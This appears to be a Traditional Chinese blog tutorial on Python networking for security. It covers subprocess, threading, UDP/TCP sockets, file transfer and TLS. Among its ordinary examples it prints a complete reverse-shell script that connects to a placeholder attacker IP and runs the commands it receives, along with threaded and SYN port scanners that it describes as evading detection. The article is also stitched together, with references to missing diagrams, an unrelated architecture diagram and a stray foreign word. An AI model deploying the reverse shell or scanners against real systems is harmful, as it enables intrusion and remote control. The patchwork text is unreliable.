返回文章列表
玄貓（BlackCat）

Python網路安全應用程式開發與防禦

本文探討使用 Python 開發堅固的應用程式和網路防禦，涵蓋 subprocess 和 threading 模組的應用，同時也深入解析 Socket 程式設計，包含 TCP、UDP、伺服器、客戶端、埠掃描、反向 Shell 等核心概念，並提供實務程式碼範例。

網路安全 Python
網路安全 Python subprocess threading Socket 併行處理

在現今網路環境中，安全議題已成為開發者不可忽視的重點。Python 作為廣泛使用的程式語言，提供豐富的函式庫和工具，讓開發者能有效地建構網路安全防禦機制。本文將探討如何運用 Python 的 subprocess、threading 和 socket 模組，開發更安全的應用程式，並涵蓋埠掃描、反向 Shell 等進階安全議題。同時，我們也會探討 TCP 和 UDP 的差異，以及如何使用多執行緒提升程式效能，並以實際案例說明如何建構伺服器和客戶端應用程式。最後，我們將探討如何使用 TLS/SSL 加密 Socket 連線，確保資料傳輸的安全性。

網路安全與Python：開發堅固的應用程式和網路防禦

前言

在現代網路環境中，安全已成為軟體開發不可忽視的重要環節。Python作為一門功能強大的程式語言，為開發者提供了豐富的工具和函式庫來實作網路安全防禦。本文將探討如何使用Python開發堅固的應用程式和網路防禦，涵蓋subprocess和threading模組的應用，並結合實際案例進行分析。

使用Plantuml圖表展示流程

以下使用Plantuml圖表展示subprocess.run()的基本流程：

流程解密

此圖示展示了subprocess.run()的執行流程。Python程式透過subprocess.run()呼叫外部程式，並根據執行結果進行相應的處理。若執行成功，則傳回結果並繼續執行程式；若執行失敗，則丟擲異常並進行錯誤處理。

檢查系統中已安裝的程式

以下程式碼片段示範如何使用subprocess模組檢查系統中是否安裝了特定程式：

import subprocess

def check_program(program_name):
    try:
        subprocess.run(['which', program_name], capture_output=True, text=True, check=True)
        print(f"程式 \"{program_name}\" 已安裝")
    except subprocess.CalledProcessError:
        print(f"抱歉，程式 \"{program_name}\" 未安裝")

# 檢查Python是否安裝
check_program("python")

# 檢查Go是否安裝
check_program("go")

內容解密：

這段程式碼利用subprocess.run執行which命令來查詢指定程式。capture_output=True捕捉程式的輸出，text=True將輸出解碼為文字，check=True則會在程式傳回非零離開碼時引發異常。透過捕捉subprocess.CalledProcessError異常，我們可以判斷程式是否已安裝。

subprocess.run()與subprocess.Popen()的比較

subprocess模組的核心是subprocess.Popen()函式。subprocess.run()方法是Python 3.5新增的，是subprocess.Popen()的封裝，簡化了其操作。run()方法會阻塞主程式，直到子程式中的命令執行完畢。而使用subprocess.Popen()，可以在平行執行父程式任務的同時，呼叫subprocess.communicate()來與子執行緒傳遞資料。

使用subprocess建立虛擬環境

以下程式碼示範如何使用subprocess模組建立虛擬環境，並安裝dependencies：

import subprocess
from pathlib import Path

VENV_NAME = ".venv"
REQUIREMENTS = "requirements.txt"

# 檢查Python3是否安裝
try:
    process = subprocess.run(['which', 'python3'], capture_output=True, text=True, check=True)
    python_process = process.stdout.strip()
    print(f"Python位於: {python_process}")
except subprocess.CalledProcessError:
    raise OSError("Python3未安裝")

# 建立虛擬環境
try:
    subprocess.run([python_process, '-m', 'venv', VENV_NAME], check=True)
    print(f"虛擬環境{VENV_NAME}已建立")
except subprocess.CalledProcessError:
    print(f"虛擬環境{VENV_NAME}建立失敗")

# 安裝dependencies
pip_process = f"{VENV_NAME}/bin/pip3"
if Path(REQUIREMENTS).exists():
    print(f"找到requirements檔案\"{REQUIREMENTS}\"")
    try:
        subprocess.run([pip_process, 'install', '-r', REQUIREMENTS], check=True)
        print("安裝完成！使用\"source .venv/bin/activate\"啟動虛擬環境")
    except subprocess.CalledProcessError:
        print("安裝dependencies失敗")

內容解密：

這段程式碼首先檢查系統中是否安裝了Python3，並取得其路徑。接著，使用subprocess.run執行python3 -m venv .venv命令建立虛擬環境。最後，檢查是否存在requirements.txt檔案，若存在則使用pip安裝dependencies。pathlib模組用於檢查檔案是否存在。

Python多執行緒管理

Python的threading模組提供了便捷的多執行緒程式設計介面。執行緒允許應用程式在同一程式空間中同時執行多個操作。

建立簡單執行緒

import threading
import logging
import time

logging.basicConfig(level=logging.DEBUG, format='[%(levelname)s] - %(threadName)-10s : %(message)s')

def thread_task(name):
    logging.debug(f"啟動執行緒{name}")
    time.sleep(5)
    print(f"{name}: {time.ctime(time.time())}")
    logging.debug(f"停止執行緒{name}")

def check_thread_state(thread):
    if thread.is_alive():
        print(f"執行緒{thread.name}仍在執行中")
    else:
        print(f"執行緒{thread.name}已停止")

threads = []
for i in range(4):
    thread = threading.Thread(target=thread_task, args=(f"Thread-{i+1}",))
    threads.append(thread)
    thread.start()

for thread in threads:
    thread.join()
    check_thread_state(thread)

內容解密：

這段程式碼示範瞭如何使用threading模組建立和管理多個執行緒。thread_task函式定義了執行緒要執行的任務，check_thread_state函式用於檢查執行緒狀態。使用迴圈建立了四個執行緒，並將其加入threads列表中。thread.start()啟動執行緒，thread.join()等待執行緒執行完畢。

執行緒的進階運用

Python的threading模組提供了建立和管理執行緒的便捷方式。我們可以透過繼承threading.Thread類別並覆寫run()方法來定義自己的執行緒。

import threading
import logging
import time

logging.basicConfig(level=logging.DEBUG, format='[%(levelname)s] - %(threadName)-10s : %(message)s')

def thread(name):
    logging.debug('Starting Thread %s', name)
    time.sleep(5)
    print(f"{name}: {time.ctime(time.time())}")
    logging.debug('Stopping Thread %s', name)

def check_state(thread):
    print(f"Thread {thread.name} is {'alive' if thread.is_alive() else 'not alive'}.")

if __name__ == '__main__':
    th1 = threading.Thread(target=thread, args=('MyThread',))
    th2 = threading.Thread(target=thread, args=('MyThread2',))
    th1.setDaemon(True)  # 設定為Daemon執行緒

    check_state(th1)
    check_state(th2)

    th1.start()
    th2.start()

    while th1.is_alive():
        logging.debug('Thread is executing...')
        time.sleep(1)

    th1.join()
    th2.join()

內容解密：

這段程式碼示範瞭如何建立和啟動兩個執行緒。target引數指定了執行緒要執行的函式，args引數則傳遞給目標函式。setDaemon(True)將th1設定為Daemon執行緒，表示主程式結束時，即使th1還沒執行完畢，也會強制結束。is_alive()方法用於檢查執行緒是否仍在執行，join()方法則用於等待執行緒執行完畢。

透過本文的介紹，讀者應該對Python中的subprocess和threading模組有了更深入的瞭解。這些工具和技術能夠幫助開發者編寫更高效、更安全的程式碼，提升應用程式的效能和可靠性。在實際開發中，合理運用這些技術，將大大增強應用程式的健壯性和安全性。

Python 的系統級程式設計：深入檔案系統、執行緒與併行處理

在軟體開發過程中，與作業系統互動、管理檔案系統以及有效利用系統資源至關重要。玄貓將探討 Python 中幾個核心模組，包括 os、subprocess、threading 以及 concurrent.futures，並分享在實際應用中的一些心得與技巧。

與作業系統互動：os 模組

os 模組是 Python 與作業系統互動的橋樑，它提供了豐富的函式，能執行各種系統級操作，例如：

  • 檔案系統導航：使用 os.chdir() 切換目錄、os.getcwd() 取得當前目錄、os.listdir() 列出目錄內容。
  • 檔案操作：使用 os.mkdir() 建立目錄、os.rename() 重新命名檔案、os.remove() 刪除檔案。
  • 環境變數：使用 os.environ 存取和修改環境變數。
import os

# 取得當前目錄
current_directory = os.getcwd()
print(f"目前目錄：{current_directory}")

# 切換到上層目錄
os.chdir("..")
print(f"切換後目錄：{os.getcwd()}")

內容解密：

這段程式碼示範瞭如何使用 os.getcwd() 取得當前工作目錄，並使用 os.chdir() 切換目錄。這些函式在處理大型專案時，能有效管理檔案結構。

執行外部命令：subprocess 模組

subprocess 模組允許執行外部命令，並進行互動。這在自動化任務、執行 shell 指令碼等場景中非常有用。

import subprocess

# 執行 ls 命令
process = subprocess.run(["ls", "-l"], capture_output=True, text=True)
print(process.stdout)

內容解密：

這段程式碼使用 subprocess.run() 執行 ls -l 命令，並將輸出捕捉到變數中。capture_output=True 引數確保輸出被捕捉，而 text=True 引數則將輸出解碼為文字。與舊的 subprocess.Popen() 相比，subprocess.run() 更易於使用，尤其是在需要處理命令輸出時。

執行緒與併行處理：threading 與 concurrent.futures 模組

Python 的 threading 模組提供了建立和管理執行緒的功能，能實作併行處理，提高程式效能。然而，直接使用 threading 有時會比較複雜。concurrent.futures 模組提供了一個更高階的介面，簡化了併行任務的執行。

from concurrent.futures import ThreadPoolExecutor
import threading
import time

def task(n):
    print(f"執行緒 {threading.get_ident()} 處理 {n}")
    time.sleep(1)

with ThreadPoolExecutor(max_workers=3) as executor:
    futures = [executor.submit(task, i) for i in range(5)]

內容解密：

這段程式碼使用 ThreadPoolExecutor 建立一個執行緒池，最多同時執行 3 個執行緒。executor.submit() 方法將任務提交到執行緒池。使用 concurrent.futures 比直接使用 threading 更簡潔，更容易管理執行緒的生命週期。

流程池與執行緒池的比較

concurrent.futures 提供了 ThreadPoolExecutor 和 ProcessPoolExecutor 兩種類別，分別用於建立執行緒池和流程池。選擇哪種方式取決於任務的性質。如果任務是 CPU 密集型，則流程池更有效率；如果任務是 I/O 密集型，則執行緒池更適合。

流程解密：

此圖表展示了根據任務型別選擇適當的處理方式。對於 CPU 密集型任務，使用 ProcessPoolExecutor 能繞過 GIL（全域性直譯器鎖）的限制，充分利用多核心處理器。而對於 I/O 密集型任務，ThreadPoolExecutor 能有效管理多個 I/O 操作，提高整體效率。

網路請求的併行處理

以下程式碼示範如何使用 ThreadPoolExecutor 併行處理多個網路請求：

import requests
from concurrent.futures import ThreadPoolExecutor

def fetch_url(url):
    response = requests.get(url)
    return response.status_code

urls = ["http://www.python.org", "http://www.google.com", "http://www.example.com"]

with ThreadPoolExecutor(max_workers=3) as executor:
    results = list(executor.map(fetch_url, urls))

print(results)

內容解密：

這段程式碼使用 ThreadPoolExecutor 併發地傳送多個網路請求。executor.map() 方法將 fetch_url 函式應用於 urls 列表中的每個 URL，並傳回一個包含結果的迭代器。在處理網路請求時，使用 ThreadPoolExecutor 能顯著提高效率。

透過理解和應用這些技術，開發者可以更好地駕馭 Python 系統級程式設計，提升應用程式效能，開發更具競爭力的軟體產品。玄貓的分析顯示，這些技術在實際應用中具有廣泛的價值，能有效解決各種系統級程式設計挑戰。

Python Socket 程式設計：深入解析網路通訊核心

在現代網路應用中，Socket 程式設計扮演著至關重要的角色，它是網路通訊的根本。本文將探討 Python Socket 模組的核心功能，並以實務角度解析伺服器與客戶端之間的通訊機制，同時確保內容符合台灣本地技術寫作規範。

Socket 模組核心方法解析

Python 的 socket 模組提供了一系列方法，用於建立和管理網路連線。以下列出一些常用的方法，並附上詳細說明：

  • socket.bind(address)：將 Socket 與指定的位址繫結，用於伺服器端程式。這裡的 address 通常是一個包含 IP 位址和埠號的元組。
  • socket.connect(address)：連線到指定的位址，用於客戶端程式。同樣，address 是一個包含 IP 位址和埠號的元組。
  • socket.listen(backlog)：開始監聽連線，backlog 指定等待連線佇列的最大長度。這是伺服器端用於準備接受客戶端連線的方法。
  • socket.accept()：接受客戶端連線，回傳一個包含客戶端 Socket 和位址的元組。這是伺服器端用於接受客戶端連線請求的方法。
  • socket.recv(bufsize)：接收資料，bufsize 指定最大接收資料量。這是用於接收來自客戶端或伺服器資料的主要方法。
  • socket.send(bytes)：傳送資料，將指定的位元組序列傳送到連線的 Socket。
  • socket.sendall(bytes)：確保所有資料都傳送出去，這是 send() 的變體，會持續傳送資料直到所有資料都被傳送或發生錯誤。
  • socket.close()：關閉 Socket，釋放相關資源。

內容解密：

這些方法是 Socket 程式設計的核心，它們提供了建立、管理和關閉網路連線的基本功能。透過這些方法，開發者可以實作各種網路應用，從簡單的客戶端-伺服器模型到複雜的分散式系統。

伺服器端 Socket 程式設計

伺服器端程式通常需要執行以下步驟，以建立一個基本的 TCP 伺服器：

  1. 建立 Socket：使用 socket.socket() 建立一個 Socket 物件，指定位址家族（如 AF_INET for IPv4）和 Socket 型別（如 SOCK_STREAM for TCP）。
  2. 繫結位址：使用 socket.bind() 將 Socket 與伺服器位址（包含 IP 位址和埠號）繫結。
  3. 開始監聽：使用 socket.listen() 開始監聽客戶端連線，指定等待連線佇列的最大長度。
  4. 接受連線：使用 socket.accept() 接受客戶端連線，回傳客戶端 Socket 和其位址。
  5. 處理資料：使用 socket.recv() 和 socket.send() 或 socket.sendall() 與客戶端進行資料交換。
  6. 關閉連線：使用 socket.close() 關閉客戶端 Socket，釋放資源。
import socket

def start_server():
    # 建立 Socket
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    # 繫結位址
    server_address = ('', 8888)  # 使用空字串表示所有可用的網路介面
    server_socket.bind(server_address)
    
    # 開始監聽
    server_socket.listen(1)
    print("伺服器已啟動，等待連線...")
    
    while True:
        # 接受連線
        client_socket, client_address = server_socket.accept()
        print(f"來自 {client_address} 的連線")
        
        try:
            # 處理資料
            data = client_socket.recv(1024)
            if data:
                print(f"收到資料：{data.decode()}")
                response = "收到您的訊息！"
                client_socket.sendall(response.encode())
        finally:
            # 關閉連線
            client_socket.close()

if __name__ == "__main__":
    start_server()

流程解密：

上述程式碼展示了一個基本的 TCP 伺服器實作。它首先建立一個 Socket 物件並繫結到指定的埠，然後開始監聽客戶端連線。當有客戶端連線時，伺服器接受連線並接收來自客戶端的資料，接著傳送回應訊息。最後，關閉客戶端 Socket 以釋放資源。

實作埠掃描器：網路安全的第一步

在網路安全領域，瞭解目標系統開放的埠是進行進一步安全評估的基礎。埠掃描技術讓我們能夠識別目標主機上哪些埠正在監聽，從而發現潛在的安全風險。本文將探討如何使用 Python 的 Socket 程式設計實作一個簡單的埠掃描器。

埠掃描原理

埠掃描的基本原理是嘗試與目標主機的多個埠建立連線。如果連線成功，表示該埠是開放的；如果連線失敗，則可能是關閉或被防火牆阻擋。以下是一個簡單的埠掃描器實作：

import socket

def scan_port(host, port):
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.settimeout(1)
            result = s.connect_ex((host, port))
            if result == 0:
                print(f"Port {port} is open")
            else:
                print(f"Port {port} is closed")
    except socket.error as e:
        print(f"Socket error: {e}")

def main():
    host = '127.0.0.1'
    for port in range(1, 1025):
        scan_port(host, port)

if __name__ == "__main__":
    main()

內容解密： 這段程式碼定義了一個 scan_port 函式，用於掃描指定主機的特定埠。它使用 connect_ex 方法嘗試建立連線，並根據傳回結果判斷埠狀態。main 函式則對本地主機的1到1024埠進行掃描。

最佳化埠掃描效能

單執行緒的埠掃描可能非常耗時，尤其是在掃描大量埠時。為了提高效率，我們可以使用多執行緒技術平行掃描多個埠：

import socket
import threading

def scan_port(host, port):
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.settimeout(1)
            result = s.connect_ex((host, port))
            if result == 0:
                print(f"Port {port} is open")
    except socket.error:
        pass

def main():
    host = '127.0.0.1'
    threads = []
    for port in range(1, 1025):
        t = threading.Thread(target=scan_port, args=(host, port))
        threads.append(t)
        t.start()

    for t in threads:
        t.join()

if __name__ == "__main__":
    main()

內容解密： 這個版本使用多執行緒來平行掃描埠。每個埠的掃描都在單獨的執行緒中進行，大大提高了掃描速度。主執行緒等待所有掃描執行緒完成後才離開。

高階埠掃描技術

除了基本的 TCP 連線掃描，還有多種進階掃描技術，如 SYN 掃描、UDP 掃描和 FIN 掃描等。這些技術可以繞過某些防火牆規則或隱藏掃描行為。例如，使用 Scapy 函式庫可以實作 SYN 掃描：

from scapy.all import IP, TCP, sr1

def syn_scan(host, port):
    packet = IP(dst=host)/TCP(dport=port, flags='S')
    response = sr1(packet, timeout=2, verbose=0)
    if response is not None and response.haslayer(TCP):
        if response.getlayer(TCP).flags == 0x12:  # SYN-ACK
            print(f"Port {port} is open")
        elif response.getlayer(TCP).flags == 0x14:  # RST-ACK
            print(f"Port {port} is closed")
    else:
        print(f"Port {port} is filtered or timed out")

def main():
    host = '127.0.0.1'
    for port in range(1, 1025):
        syn_scan(host, port)

if __name__ == "__main__":
    main()

內容解密： 這段程式碼使用 Scapy 函式庫傳送 SYN 包並分析回應。如果收到 SYN-ACK 回應，表示埠開放；如果收到 RST-ACK，則表示埠關閉。這種方法比完整的 TCP 連線建立更快，也更難被檢測。

結語

埠掃描是網路安全評估的重要工具。透過 Python 的 Socket 程式設計，我們可以輕鬆實作各種埠掃描技術，從簡單的 TCP 連線掃描到更進階的 SYN 掃描。瞭解這些技術不僅有助於我們評估自己的網路安全，也能幫助我們更好地理解網路攻擊者的思維方式。在實際應用中，請務必遵守相關法律法規，負責任地使用這些技術。

流程說明： 此圖表展示了埠掃描的基本流程，從建立 Socket 到判斷埠狀態，每一步都清晰標示。

透過這篇文章，我們探討了Socket程式設計在網路應用中的廣泛應用，從基礎的客戶端/伺服器模型到進階的埠掃描技術。這些知識不僅幫助我們開發強大的網路工具，也增強了我們對網路安全機制的理解。在實際開發中，請記得始終遵循最佳實踐，確保程式碼的安全性和效率。隨著網路技術的不斷進步，持續學習和實踐將使我們在這個領域保持領先地位。

深入解析 Socket 程式設計：開發進階埠掃描器與反向 Shell

在網路安全領域，Socket 程式設計扮演著至關重要的角色。它允許我們直接與網路介面互動，進行底層網路操作，例如埠掃描和建立反向 Shell。這篇文章將探討如何使用 Python 的 Socket 模組構建進階埠掃描器和反向 Shell，並提供實務上的程式碼範例和詳細的技術剖析。

透過 Socket 探索網路世界：建構基礎埠掃描器

首先，我們將建構一個基礎的埠掃描器，用於檢測目標主機上特定埠的開放狀態。這個掃描器利用 connect_ex() 方法來判斷埠是否開放。如果 connect_ex() 傳回 0，則表示埠處於開啟狀態；否則，表示埠關閉，並傳回相應的錯誤程式碼。

import socket

def scan_port(host, port):
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.settimeout(5)  # 設定逾時，避免無限制等待
            result = s.connect_ex((host, port))
            if result == 0:
                print(f"[+] {port}/tcp 開啟")
            else:
                print(f"[-] {port}/tcp 關閉")
                # 顯示錯誤原因
                print(f"[-] 原因: {socket.error(result).strerror}")
    except Exception as e:
        print(f"[-] 掃描埠 {port} 發生錯誤: {e}")

def main():
    host = input("請輸入目標主機: ")
    start_port = int(input("請輸入起始埠號: "))
    end_port = int(input("請輸入結束埠號: "))

    for port in range(start_port, end_port + 1):
        scan_port(host, port)

if __name__ == "__main__":
    main()

內容解密：

這段程式碼首先建立一個 TCP socket，並設定逾時時間為 5 秒，以防止程式在連線失敗時無限期地等待。connect_ex() 方法嘗試連線到指定的目標主機和埠，如果連線成功，則傳回 0；如果連線失敗，則傳回錯誤程式碼。程式碼根據 connect_ex() 的傳回值判斷埠的狀態，並列印相應的訊息。錯誤處理機制能捕捉潛在的異常，例如網路錯誤或目標主機無法解析。

開發進階埠掃描器：賦予更多彈性與效率

基礎的埠掃描器功能有限，我們可以進一步增強其功能，允許使用者輸入目標主機和多個埠號，並使用多執行緒提升掃描效率。

import optparse
import socket
from threading import Thread

def socket_scan(host, port):
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.settimeout(5)
            result = s.connect_ex((host, port))
            if result == 0:
                print(f"[+] {port}/tcp 開啟")
            else:
                print(f"[-] {port}/tcp 關閉")
                # 顯示錯誤原因
                print(f"[-] 原因: {socket.error(result).strerror}")
    except Exception as e:
        print(f"[-] 掃描埠 {port} 發生錯誤: {e}")

def port_scanning(host, ports):
    try:
        ip = socket.gethostbyname(host)
    except socket.gaierror:
        print(f"[-] 無法解析 '{host}': 未知的主機")
        return

    try:
        name = socket.gethostbyaddr(ip)
        print(f"[+] 掃描結果：{ip} {name[0]}")
    except socket.herror:
        print(f"[+] 掃描結果：{ip}")

    for port in ports:
        t = Thread(target=socket_scan, args=(ip, int(port)))
        t.start()

def main():
    parser = optparse.OptionParser(f"usage: {__file__} -H <目標主機> -P <埠號>")
    parser.add_option('-H', dest='host', type='string', help='指定目標主機')
    parser.add_option('-P', dest='port', type='string', help='指定埠號，多個埠號以逗號分隔')
    (options, args) = parser.parse_args()

    if not options.host or not options.port:
        print(parser.usage)
        exit(0)

    ports = options.port.split(',')
    port_scanning(options.host, ports)

if __name__ == '__main__':
    main()

內容解密：

這段程式碼新增了命令列引數解析的功能，允許使用者透過 -H 和 -P 引數指定目標主機和埠號。它使用多執行緒技術，為每個待掃描的埠建立一個新的執行緒，從而平行地掃描多個埠，大幅提升掃描效率。此外，程式碼還加入了錯誤處理機制，以應對主機名解析失敗等情況。

反向 Shell 實作：深入理解網路攻擊技巧

反向 Shell 是一種網路攻擊技術，攻擊者可以透過它控制受害者的機器。在反向 Shell 攻擊中，受害者的機器會主動連線到攻擊者控制的機器，並將 Shell 資訊傳送給攻擊者。

import socket
import subprocess

def reverse_shell(host, port):
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect((host, port))
            while True:
                command = s.recv(1024).decode()
                if command.lower() == 'exit':
                    break
                try:
                    result = subprocess.check_output(command, shell=True)
                    s.sendall(result)
                except Exception as e:
                    s.sendall(f'Error: {e}'.encode())
    except Exception as e:
        print(f'[-] 連線失敗: {e}')

def main():
    host = '攻擊者IP'  # 請替換為攻擊者的 IP 地址
    port = 4444       # 請替換為攻擊者監聽的埠號
    reverse_shell(host, port)

if __name__ == "__main__":
    main()

內容解密：

這個反向 Shell 程式碼在受害者機器上執行後，會嘗試連線到指定的攻擊者 IP 和埠。一旦連線成功，受害者的機器就會接收來自攻擊者的命令，並執行相應的操作，將結果回傳給攻擊者。這種技術常見於滲透測試和惡意軟體中，用於遠端控制受感染的系統。

UDP 伺服器實作

UDP 伺服器使用 socket.SOCK_DGRAM 建立一個無連線的 Socket。以下是實作 UDP 伺服器的範例程式碼：

import socket

SERVER_IP = "127.0.0.1"
SERVER_PORT = 9999

def main():
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    server_socket.bind((SERVER_IP, SERVER_PORT))
    print(f"[*] UDP Server Listening on {SERVER_IP}:{SERVER_PORT}")

    while True:
        data, address = server_socket.recvfrom(1024)
        print(f"[*] Received message from {address}: {data.decode()}")
        response = f"ACK: {data.decode()}"
        server_socket.sendto(response.encode(), address)

if __name__ == "__main__":
    main()

內容解密：

這段程式碼建立了一個 UDP 伺服器，監聽在 127.0.0.1:9999。server_socket.recvfrom(1024) 用於接收來自客戶端的訊息，並傳回客戶端的位址。伺服器隨後傳送一個確認訊息回客戶端。

UDP 客戶端實作

UDP 客戶端同樣使用 socket.SOCK_DGRAM 來建立 Socket，並使用 sendto() 方法傳送訊息到伺服器。以下是實作 UDP 客戶端的範例程式碼：

import socket

SERVER_IP = "127.0.0.1"
SERVER_PORT = 9999

def main():
    client_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    while True:
        message = input("Enter your message > ")
        client_socket.sendto(message.encode(), (SERVER_IP, SERVER_PORT))
        if message.lower() == "quit":
            break
        data, server_address = client_socket.recvfrom(1024)
        print(f"Server response: {data.decode()}")

    client_socket.close()

if __name__ == "__main__":
    main()

內容解密：

這段程式碼建立了一個 UDP 客戶端，用於與伺服器進行通訊。客戶端使用 client_socket.sendto() 方法傳送訊息到伺服器，並使用 client_socket.recvfrom() 方法接收伺服器的回應。

TCP 與 UDP 的比較

TCP（Transmission Control Protocol）和 UDP（User Datagram Protocol）是兩種常見的網路傳輸協定。它們在網路通訊中扮演著不同的角色，具有不同的特性和應用場景。

TCP 特性

  1. 連線導向：TCP 在資料傳輸前需要建立連線，確保資料的可靠傳輸。
  2. 可靠傳輸：TCP 保證資料的順序和完整性，丟失的封包會被重傳。
  3. 流量控制：TCP 具有流量控制機制，防止網路擁塞。
  4. 適用場景：適用於需要高可靠性的應用，如網頁瀏覽、檔案傳輸（FTP）、電子郵件等。

UDP 特性

  1. 無連線：UDP 不需要在資料傳輸前建立連線，減少了連線建立的時間。
  2. 不可靠傳輸：UDP 不保證資料的順序和完整性，封包可能會丟失或亂序。
  3. 高效傳輸：由於沒有重傳機制，UDP 的傳輸效率較高。
  4. 適用場景：適用於對即時性要求較高的應用，如視訊串流、語音通話（VoIP）、線上遊戲等。

伺服器程式碼解析

伺服器端的 receive_file() 函式與客戶端的 send_file() 函式相互對應，負責接收檔案並將其寫入磁碟。以下是該函式的詳細步驟：

  1. 呼叫 receive_file_size() 函式以取得客戶端傳送的檔案大小。
  2. 開啟一個新檔案（以二進位制寫入模式 wb），並在接收到來自客戶端的資料後，將其寫入檔案中。
  3. 使用迴圈持續接收資料，直到接收的位元組數達到預期的檔案大小為止。

安全性考量

在實作檔案傳輸功能時，安全性是不可忽視的重要考量。以下是一些提升安全性的建議：

  1. 驗證檔案大小：伺服器應驗證客戶端傳送的檔案大小，避免接收過大檔案導致資源耗盡。
  2. 限制檔案型別：伺服器可以限制允許接收的檔案型別，以防止惡意檔案的傳輸。
  3. 使用加密傳輸：在傳輸過程中使用 SSL/TLS 等加密協定，確保資料的安全性。

最佳化建議

為了提升檔案傳輸的效率，可以考慮以下最佳化策略：

  1. 增加緩衝區大小：適當增加 recv() 和 sendall() 的緩衝區大小，可以提升傳輸效率。
  2. 使用多執行緒或非同步處理：支援多個客戶端同時上傳檔案，以提高伺服器的平行處理能力。

客戶端與伺服器完整範例

客戶端完整程式碼

import os
import socket
import struct

def send_file(sock: socket.socket, filename):
    filesize = os.path.getsize(filename)
    sock.sendall(struct.pack("<Q", filesize))
    with open(filename, "rb") as f:
        while read_bytes := f.read(1024):
            sock.sendall(read_bytes)

def main():
    with socket.create_connection(("localhost", 9999)) as connection:
        print("正在與伺服器連線...")
        print("正在傳送檔案...")
        send_file(connection, "example.txt")
        print("檔案已傳送")

if __name__ == "__main__":
    main()

伺服器完整程式碼

import socket
import struct

def receive_file_size(sock: socket.socket):
    fmt = "<Q"
    expected_bytes = struct.calcsize(fmt)
    received_bytes = 0
    stream = bytes()
    while received_bytes < expected_bytes:
        chunk = sock.recv(expected_bytes - received_bytes)
        stream += chunk
        received_bytes += len(chunk)
    filesize = struct.unpack(fmt, stream)[0]
    return filesize

def receive_file(sock: socket.socket, filename):
    filesize = receive_file_size(sock)
    with open(filename, "wb") as f:
        received_bytes = 0
        while received_bytes < filesize:
            chunk = sock.recv(1024)
            if chunk:
                f.write(chunk)
                received_bytes += len(chunk)

def main():
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:
        server_socket.bind(("localhost", 9999))
        server_socket.listen()
        print("伺服器啟動，等待連線...")
        
        conn, addr = server_socket.accept()
        with conn:
            print(f"已連線至 {addr}")
            receive_file(conn, "received_example.txt")
            print("檔案接收完成")

if __name__ == "__main__":
    main()

內容解密：

伺服器端的 receive_file_size() 函式負責接收檔案大小資訊：

  1. 使用 struct.calcsize("<Q") 計算檔案大小資訊的位元組數。
  2. 迴圈接收資料，直到接收 đủ 位元組。
  3. 使用 struct.unpack("<Q", stream) 解析位元組序列，取得檔案大小。

receive_file() 函式執行以下步驟：

  1. 呼叫 receive_file_size() 取得檔案大小。
  2. 開啟一個新檔案以儲存接收到的資料。
  3. 以 1024 位元組為單位，迴圈接收檔案資料，直到接收的總位元組數達到客戶端報告的檔案大小。

使用 TLS/SSL 模組開發安全 Socket

Python 的 ssl 模組提供對 TLS/SSL 加密的支援，可以與 socket 模組結合使用，建立安全的連線和伺服器。以下程式碼示範如何取得伺服器憑證：

import ssl

address = ('python.org', 443)
certificate = ssl.get_server_certificate(address)
print(certificate)

流程解密：

此圖示展示取得伺服器憑證的流程：

@startuml
skinparam backgroundColor #FEFEFE
skinparam componentStyle rectangle

title Python網路安全應用程式開發與防禦

package "安全架構" {
    package "網路安全" {
        component [防火牆] as firewall
        component [WAF] as waf
        component [DDoS 防護] as ddos
    }

    package "身份認證" {
        component [OAuth 2.0] as oauth
        component [JWT Token] as jwt
        component [MFA] as mfa
    }

    package "資料安全" {
        component [加密傳輸 TLS] as tls
        component [資料加密] as encrypt
        component [金鑰管理] as kms
    }

    package "監控審計" {
        component [日誌收集] as log
        component [威脅偵測] as threat
        component [合規審計] as audit
    }
}

firewall --> waf : 過濾流量
waf --> oauth : 驗證身份
oauth --> jwt : 簽發憑證
jwt --> tls : 加密傳輸
tls --> encrypt : 資料保護
log --> threat : 異常分析
threat --> audit : 報告生成

@enduml

內容解密：

這段程式碼使用 ssl.get_server_certificate() 函式取得指定網域的伺服器憑證。

建立安全的客戶端連線

以下程式碼示範如何建立安全的客戶端連線：

import ssl
import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
secure_socket = ssl.wrap_socket(sock)

try:
    secure_socket.connect(("www.google.com", 443))
    print(secure_socket.cipher())
    secure_socket.write(b"GET / HTTP/1.1 \r\n")
    secure_socket.write(b"Host: www.google.com\n\n")
    data = secure_socket.read()
    print(data.decode("utf-8"))
except Exception as exception:
    print("例外狀況：", exception)

內容解密：

這段程式碼建立一個 socket，並使用 ssl.wrap_socket() 將其包裝成安全 socket。然後，它連線到 www.google.com 的 443 埠，並傳送一個 GET 請求。